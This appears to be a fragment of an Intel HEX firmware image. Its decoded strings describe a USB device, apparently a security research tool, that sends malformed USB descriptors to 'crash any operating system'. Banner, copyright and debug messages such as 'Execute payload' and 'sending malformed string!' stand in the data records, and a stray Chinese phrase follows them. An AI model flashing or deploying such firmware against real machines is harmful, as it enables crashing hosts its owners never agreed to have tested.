:1015340020202020202020202020202020202020A7 :1015440020205F5F5F5F5F205F5F20205F2020209F :101554002020205F5F0A0D00202020202F205F5FC5 :101564005F5F2F202F5F20205F5F5F5F205F5F5FE3 :101574005F5F20205F5F5F5F5F20202020202F209F :101584005F5F5F2F2F202F5F285F295F5F5F5F2FD3 :10159400202F5F5F0A0D002020202F202F202020E5 :1015A4002F205F5F205C2F205F5F20602F205F5F14 :1015B400205C2F205F5F5F2F5F5F5F5F205C5F5F5A :1015C400205C2F205F5F2F202F205F5F5F2F202F55 :1015D4002F5F2F0A0D0020202F202F5F5F5F2F2009 :1015E4002F202F202F202F5F2F202F202F5F2F2001 :1015F400285F5F2020292F5F5F5F2F205F5F2F20F0 :101604002F202F5F2F202F202F5F5F2F202C3C0AAD :101614000D0020205C5F5F5F5F2F5F2F202F5F2F07 :101624005C5F5F2C5F2F5C5F5F5F5F2F5F5F5F5F5F :101634002F20202020202F5F5F5F5F2F5C5F5F2FB4 :101644005F2F5C5F5F5F2F5F2F7C5F7C0A0D002044 :101654003C3C2043485241534820414E59204F506E :1016640045524154494E472053595354454D203E09 :101674003E0A0D00203C3C202863292053657267F4 :10168400656A20536368756D696C6F20323031353B :101694002C204F70656E536F7572636520536563BC :1016A40075726974792052616C66205370656E6E30 :1016B4006562657267203E3E0A0D000A3E3E205078 :1016C4007265737320627574746F6E20746F207307 :1016D4007461727420657865637574696F6E2E2EFB :1016E4002E0A0D005B44454255475D2045786563ED :1016F400757465207061796C6F616420300A0D0027 :10170400526563762D446174613A0A0D005B444569 :101714004255475D200953656E6420436F6E6669C8 :101724006775726174696F6E44657363726970740E :101734006F720928696E6465783A2569292E2E2E00 :101744000D0A005B44454255475D200953656E64AC :1017540020496E74657266616365204465736372C3 :101764006970746F720928696E7465726661636565 :101774003A2569292E2E2E0D0A005B444542554711 :101784005D200953656E6420456E64706F696E74E4 :101794002044657363726970746F720928656E649E :1017A400706F696E743A2569292E2E2E0D0A005B1E :1017B40044454255475D203C3C70616E6963206D31 :1017C4006F64653F3E3E0D0A005B44454255475DEC :1017D4002009203E3E20537472696E67204465736D :1017E40063726970746F72207265717565737420A9 :1017F4002D2073656E64696E67206D616C666F720F :101804006D656420737472696E67212073657475E5 :10181400702E7756616C75654C203D3D2025690D11 :101824000A005B48455844554D505D0A0D0025306B :041834003258200006 :00000001FF |
体验盒子
